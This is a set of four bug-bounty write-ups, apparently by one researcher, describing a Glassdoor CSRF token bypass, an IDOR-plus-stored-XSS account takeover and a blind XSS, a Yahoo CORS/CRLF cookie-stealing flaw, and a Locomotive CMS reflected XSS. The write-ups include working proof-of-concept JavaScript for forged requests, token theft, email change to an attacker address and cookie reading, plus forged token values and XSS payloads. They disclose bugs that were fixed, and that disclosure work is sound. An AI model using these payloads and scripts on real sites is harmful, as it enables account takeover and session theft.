Site Wide CSRF on Glassdoor

In february, 2020 I was looking at what to hack. Glassdoor has a good security team and I had found a lot of bugs on their application before. They have a public bug bounty program on Hackerone, here.


So I started looking at glassdoor. They were using a token to prevent CSRF on all endpoints, it looked like a secure implementation. But I still played around with it. Their gdToken(CSRF token) looks like below:


biu6vsNnbbc56UiRo1AMmQ:zmI0_F7v9V878L4_-kcUfOTnPTK7uE2i2xRa-2d064VI336fR3dU02bgh67f342D65dZ3ZxrfzJInt3XqGE6fQ:c1cL5swU_iLklg5ly8bTC_Fs8Rofn3Dd_x4p3_Rc67A

I was checking if the tokens were properly session tied. I generated random tokens from an account and tried to use them for someone else’s session. The tokens were session tied and requests failed for cross accounts.

But during my testing I noticed that one of the request got successfully completed. I investigated to see how it happened, and I saw that while copying the token I missed selecting the first character of the token as it was _(underscore).

So for a token like:

_iu6vsNnbbc56UiRo1AMmQ:zmI0_F7v9V878L4_-kcUfOTnPTK7uE2i2xRa-2d064VI336fR3dU02bgh67f342D65dZ3ZxrfzJInt3XqGE6fQ:c1cL5swU_iLklg5ly8bTC_Fs8Rofn3Dd_x4p3_Rc67A

I only copied:

iu6vsNnbbc56UiRo1AMmQ:zmI0_F7v9V878L4_-kcUfOTnPTK7uE2i2xRa-2d064VI336fR3dU02bgh67f342D65dZ3ZxrfzJInt3XqGE6fQ:c1cL5swU_iLklg5ly8bTC_Fs8Rofn3Dd_x4p3_Rc67A

and used that for someone else’s session.

And the request got successfully completed. The CSRF protection of the app failed here. Strange.

I tried to reproduce the behaviour with new tokens.

I generated a CSRF token from an account A, stripped off the first character and tried to use it as the CSRF token for account B. The requests were successfully completed.

There are 2 kinds of accounts on Glassdoor:

  • Job Seeker
  • Employer

Both use the same kind of implementation to prevent CSRF, the bypass worked for both and I had CSRF on all endpoints of both the Job Seeker and Employer accounts. This could lead to full account takeover by exploiting functionalities like inviting attacker E-mail with admin access to employer accounts.

So I made a POC for actions changing the name and adding an experience to a job seeker's account and reported the bug to the team.

I used the following javascript code for POC:

function attack()
{

var fetchHash = new XMLHttpRequest();



var url = "https://www.glassdoor.com/member/profileApi/set.htm";



fetchHash.onreadystatechange=function ()
{
if(fetchHash.readyState==4 && fetchHash.status==200)
        {

            //datax = fetchHash.responseText;
					   


        }

}

fetchHash.open("POST",url, true);

fetchHash.withCredentials=true;
fetchHash.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
fetchHash.send('userId=&data.fname=hacked&data.lname=tabahi&data.location=&data.errors=%5Bobject%20Object%5D&features=profileHeader&gdToken=Lw4rY4QtXJRJSGdXYYy2g:TeP6uO91BAb8FhlqLQBkpBpBqoCsWQO7Il8jc4k3XnuZuf1P8WVPwBx9dIt6pyILcXF3qhxJhffMohec02E8yw:8_-LRPyEz4J96fpG0CDqY3S7u5nLqbJgx9Y4RBgxm9Y');


}


attack();
attack2();


function attack2()
{

var fetchHash = new XMLHttpRequest();



var url = "https://www.glassdoor.com/member/profileApi/set.htm";



fetchHash.onreadystatechange=function ()
{
if(fetchHash.readyState==4 && fetchHash.status==200)
        {

            //datax = fetchHash.responseText;
					   


        }

}

fetchHash.open("POST",url, true);

fetchHash.withCredentials=true;
fetchHash.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
fetchHash.send('userId=&data.id=0&data.employerId=7906&data.employerName=The%20Hackett%20Group&data.title=Manager&data.titleId=63697&data.location=Los%20Angeles%2C%20CA%20(US)&data.locationId=1146821&data.locationType=C&data.startMonth=2&data.startYear=2019&data.endMonth=1&data.endYear=2020&data.originalEndMonth=&data.originalEndYear=&data.description=ahacked!!!!%20%20HACKED!!&data.errors=%5Bobject%20Object%5D&data.squareLogoUrl=https%3A%2F%2Fe2hq2ufpdwpaso3o37tdhthjtazanz.burpcollaborator.net%2Fsqlm%2F7906%2Fthe-hackett-group-squarelogo-1435689198144.png&data.overviewUrl=www.thehackettgroup.com&features=experience&gdToken=Lw4rY4QtXJRJSGdXYYy2g:TeP6uO91BAb8FhlqLQBkpBpBqoCsWQO7Il8jc4k3XnuZuf1P8WVPwBx9dIt6pyILcXF3qhxJhffMohec02E8yw:8_-LRPyEz4J96fpG0CDqY3S7u5nLqbJgx9Y4RBgxm9Y');


}

Here is the POC video:

I explained what kind of Impact this could have:

Bypass CSRF protection mechanism of the core application of www.glassdoor.com

Attacker gains:
Site wide CSRF on both job seeker and employer accounts.

Some critical actions that be performed:


Job seeker account:

> adding salaries, reviews, interviews
> edit profile
> add CVs
> delete existing CVs
> save jobs
> Apply to jobs

Employer account:

> post new jobs
> delete existing jobs
> invite a new user as admin- ACCOUNT TKO

Glassdoor security team triaged the bug and started working towards a fix.


I was still curious about how this happened and was discussing with the team on it. On taking a closer look at the issue, I found out that it had something to do with the length validation of the token.

A valid token was in format

--encoded-string--:--encoded-string--:--encoded-string--

Length of token: 153

Now, if we supplied a token in the same format, but changing the number of characters in a valid token(i.e ≠ 153), the server would treat it as a valid token for the current session.

So basically a token satisfying the following constraints would be a valid token for any session.

The format should be:
--any-no-of-characters---:---anyno-of-characters--:--atleast-one-character--


Total length of the token ≠ length of an actual token

for example, the following gdToken values were accepted as valid by the server for all account sessions on glassdoor.com

::0
:tabahi:x
x:tabahi:1
sdfds:3454:dsf34
x::2

A fix was rolled out for the bug, and the glassdoor security team found out that this was an exception handling issue –> an exception was triggered with the forged tokens and they didn’t fail the response and in turn just logged it and allowed the operation to continue. Now a 403 is sent when that exception is triggered.


So the CSRF token validation flow would be something like:

---> The server verifies the format of the CSRF token

---> Now the sever checks if the token is session tied

---> Sever allows operation to be completed

Now, if we supply a token like ::9

---> The server verifies the format of the token ---> we supplied a token in valid format(--0-chars--:--0-chars--:--1-char--) 

our forged token passes the first check


---> Now the sever tries to check if the token is session tied and maybe other checks on the token, here an exception is triggered because the token is of invalid length

This exception wasn't handled properly and caused a CSRF validation bypass

It would pass the first format check, then trigger the exception in the second check and since the exception was not handled and code was allowed to continue, the operation would be completed successfully.


The bug was rewarded at $3000 (Glassdoor’s top bounty + a bonus)

Got any questions or something to say? Tweet me @_tabahi

🙂

Account Takeover and Blind XSS! Go Pro, get Bugs!

hi all,

I’m writing my first bug bounty post, this is about some bugs I found in a private program on Hackerone.

So in this program, after hunting some bugs in the application, I went for PRO features to get some more attack surface. I found some more bugs there, 2 of which had huge impact.

Account Takeover

I first found an IDOR, which allowed me to create an  ​element x in every user’s account. After reporting the issue, I told Bull about my bug, he suggested I inject some javascript in there. I went back and injected a '%22%3E%3Cimg+src%3Dx+onerror%3Dalert(document.cookie)%3E payload in a text field of element x, and alert popped up.

Now, I could store XSS in every user’s account through the IDOR. There was no CSP blocking external scripts, so I could now just write a small script which would steal a victim’s CSRF token and then change their emailID or Invite me as an Admin, taking over their account.

As with the IDOR, javascript could be stored in all accounts remotely, and as they would execute, ..take over all accounts. I updated the report, told them about the XSS and the Impact of both chained together.

I gave them the following javascript code for POC:

function stealEmailToken()
{
var fetchHash = new XMLHttpRequest();

var url = "https://--domain--/--path--/personal/update_email.html";
var datax;
var all_elements;
var vc_email_token='initial';

fetchHash.onreadystatechange=function ()
{
if(fetchHash.readyState==4 && fetchHash.status==200)
{

datax = fetchHash.responseText;
var loot = document.createElement('html');
loot.innerHTML = datax;
all_elements = loot.getElementsByTagName( 'input' );
vc_email_token = all_elements[2].value;
alert('Stole your Email change Token: '+vc_email_token+' ...Tabahi');
//hack(vc_email_token);

}

}

fetchHash.open("GET",url, true);
fetchHash.withCredentials=true;
fetchHash.send();

}

stealEmailToken();

function hack(emailToken)
{

var HackAccount = new XMLHttpRequest();

url= "https://--domain--/--path--/personal/update_email.html";

HackAccount .open("POST",url, true);

HackAccount .withCredentials=true;

var data= 'AccountEmailForm%5BsEmail%5D%5Bfirst%5D=attacker%40attacker.com&AccountEmailForm%5BsEmail%5D%5Bsecond%5D=attacker%40attacker.com&AccountEmailForm%5B_token%5D='+emailToken ;

HackAccount .setRequestHeader('X-Requested-With','XMLHttpRequest');

HackAccount .setRequestHeader('Content-Type','application/x-www-form-urlencoded');
HackAccount .send(data);

}

The above script would read the victim’s csrf token from input elements of the         ...personal/update_email.html page, the hack() function would then send a POST request with the stolen token to change the victim’s email ID.

The team fixed the bug in a few days. and awarded a bounty of $3500.

 

The Blind XSS

When I went to purchase the PRO features of the application, there were 2 payment methods, credit card and bank transfer. With the bank transfer method, an invoice was generated and emailed to the user using some input---name,address etc. fields supplied by the user at the time of billing.

So, here I tried to inject some html elements, to see if the server would execute script in the .pdf invoice generated. But, nothing happened.

Also, in the elements I injected, I had put a Blind-XSS payload.

After a few days, while casually browsing my XSSHunter account, I saw a payload had triggered on this program’s Admin Panel. Wow!

Along with generating the .pdf, the invoice was listed un-sanitized in the program’s Admin panel. With the screenshot from their page, around a thousand records of their customer Invoices were exposed to me.

Below pic shows XSS triggered in the name and address field:

xyzzzz.jpg

 

I reported the bug to the team.

It was fixed in a few days, bounty awarded was $3500.

 

Got something to say? Tweet me @tabahi_90

Thanks for reading 🙂

 

 

Stealing $10,000 Yahoo Cookies!

Originally posted here [Old Blog]: http://witcoat.blogspot.com/2017/12/stealing-10000-yahoo-cookies.html

Hi,

This is my second blog post. I recently started to script python, So I decided to write some recon script to filter out domains to attack first out of tens of thousands of Yahoo subdomains which promises some content since it doesn’t seem feasible to visit each one of them.

And it outputted https://premium.advertising.yahoo.com . Upon visiting and taking a look at intercepted requests, the page was interacting with api endpoints at https://api.advertising.yahoo.com using XmlHttpRequests and Cross origin resource sharing (CROS) technology . If you don’t know much about CORS I would recommend you visit Burp Blog .

So in a Requests to https://api.advertising.yahoo.com/services/network/whoami , I saw alot of headers I see all day while looking into yahoo in response which kind of freaked me out. It was reflecting all my request header such as user agent, Accept, and Cookie like in following screenshot.

blog 1

Also any Parameters in GET requests were also getting reflected as response headers. For ex:

GET /services/network/whoami?Test=Try HTTP/1.1
Host: api.advertising.yahoo.com

And Response:

HTTP/1.1 401 Unauthorized
Test: Try

 

And also it was using CORS and allowed any domain:

 

GET /services/network/whoami HTTP/1.1
Host: api.advertising.yahoo.com
Origin: http://www.anydomain.com

And Response:

HTTP/1.1 401 Unauthorized
Access-Control-Allow-Origin: http://www.anydomain.com
Access-Control-Allow-Credentials: True

But there was not anything to read from the page.AS CORS allow reading content from the page and don’t allow reading any of the headers. But CORS technology can be used by server to allow browser(Client) to read Response headers by adding a special header to the response headers i.e Access-Control-Expose-Header: whateverheader, you may read here.

Trying to Add this special header from GET parameter:

GET /services/network/whoami?Access-Control-Expose-Headers=Cookie HTTP/1.1
Host: api.advertising.yahoo.com

And no header got added to the response :/ 😦 . All these special headers both in capital and small letters were blacklisted. Hmm… try to CRLF :

GET /services/network/whoami?test%0d%0ame=nicely HTTP/1.1
Host: api.advertising.yahoo.com

And Response:

HTTP/1.1 401 Unauthorized
testme: nicely

So also got a blacklist sanitiser for CRLF. To be honest, I love to have lame filters in place instead of no filters, it helps bypass other things, or sometimes chrome auditor in case of XSS and what not.

So now I tried:

GET /services/network/whoami?Access-Control-Expose-Header%0d%0as=Cookie
Host: api.advertising.yahoo.com

So if you can see Access-Control-Expose-Header%0d%0as is not a special header, so was not filtered out by 1st blacklist filter, and the 2nd filter always sanitises blacklisted bytes %0d%0a. And see what header got added in response headers:

HTTP/1.1 401 Unauthorized
Access-Control-Expose-Headers: Cookie

So following type of javascript on any website would be able to read reflected Cookie header from all of the response headers.

var getcookie = new XMLHttpRequest();
var url = "https://api.advertising.yahoo.com/services/network/whoami?Access-Control-Expose-Header%0d%0as=Cookie";

getcookie.onreadystatechange= function(){
if(getcookie.readyState == getcookie.DONE) {
document.write(getcookie.getResponseHeader("Cookie") + "I have stolen all your cookies");

getcookie.open("GET",url,true);
getcookie.withCredentials = true;
getcookie.send();

 

 

blog 2

What if Origin was not allowed or credentials were not allowed? I would have similarly added Access-Control-Allow-Origin and Access-Control-Allow-Credentials headers.

I also verified that the stolen cookies were also working for the user in yahoo mail or any other service by using them in respective services/requests.

I Reported issue to yahoo security team immediately on 19th of September, 2017.
yahoo team triaged within half n hour and rewarded initial $500.
yahoo took the api server down within few hours and brought up back after fixing the vulnerabilities. Yahoo fixed this by no more allowing to inject headers from GET parameters, and Now Origin Is not used to fill Access-Control-Allow-Origin. And also special headers are still blacklisted.
And on 30th of September 2017, yahoo gave final reward $9,500

Thanks for reading, got thoughts? tweet me here @v0sx9b

XSS on Bugcrowd and so many other website’s main Domain

Originally posted here [Old Blog]: http://witcoat.blogspot.com/2017/06/xss-on-bugcrowd-and-so-many-other.html

Hi all,

This is my first Blog post. I recently found Reflected Cross Site Scripting(XSS) vulnerability on Bugcrowd main domain which had huge impact.

Secret Parameter:

I was able to identify one secret parameter which was getting used by the server to respond differently and gave up error page showing `unable to find page 404 in locale `. This was pretty much atleast XSS and Yes!
Here is the POC video:

 

This didn’t only work on 404 page but also on the homepage for ex: https://bugcrowd.com?locale=xss. However this parameter didn’t seem to do anything else, so I immediately reported to Bugcrowd. When I woke up in the morning, I came to know that this bug was rather in Locomotive CMS, bugcrowd worked around showing that page at router level to mitigate the impact .
Knowing this I immediately checked out Locomotive CMS and so was their website vulnerable.

 

locomotive

 So I went dorking for other websites using Locomotive CMS and I have so many POP UPS! but I can’t show them because they are still vulnerable.
If your application is using Locomotive CMS, chances are you are also vulnerable, but don’t worry If you find that you have this vulnerability, I believe there is a patch out there. Contact Locomotive CMS for more information.This had huge impact as all the submission data and other important information is hosted on main domain which means one click and few seconds of javascript processing will steal all the data from the user and take actions on behalf of users(CSRF).
After few days Locomotive fixed the bug and allowed disclosure. You can easily find some locomotive CMS application to test this out.Bugcrowd rewarded $600 for this, I didn’t agree with the reward amount but it was really nice to see the Quick Fix.

Got Thoughts? Tweet me here @v0sx9b ! Thanks for reading 🙂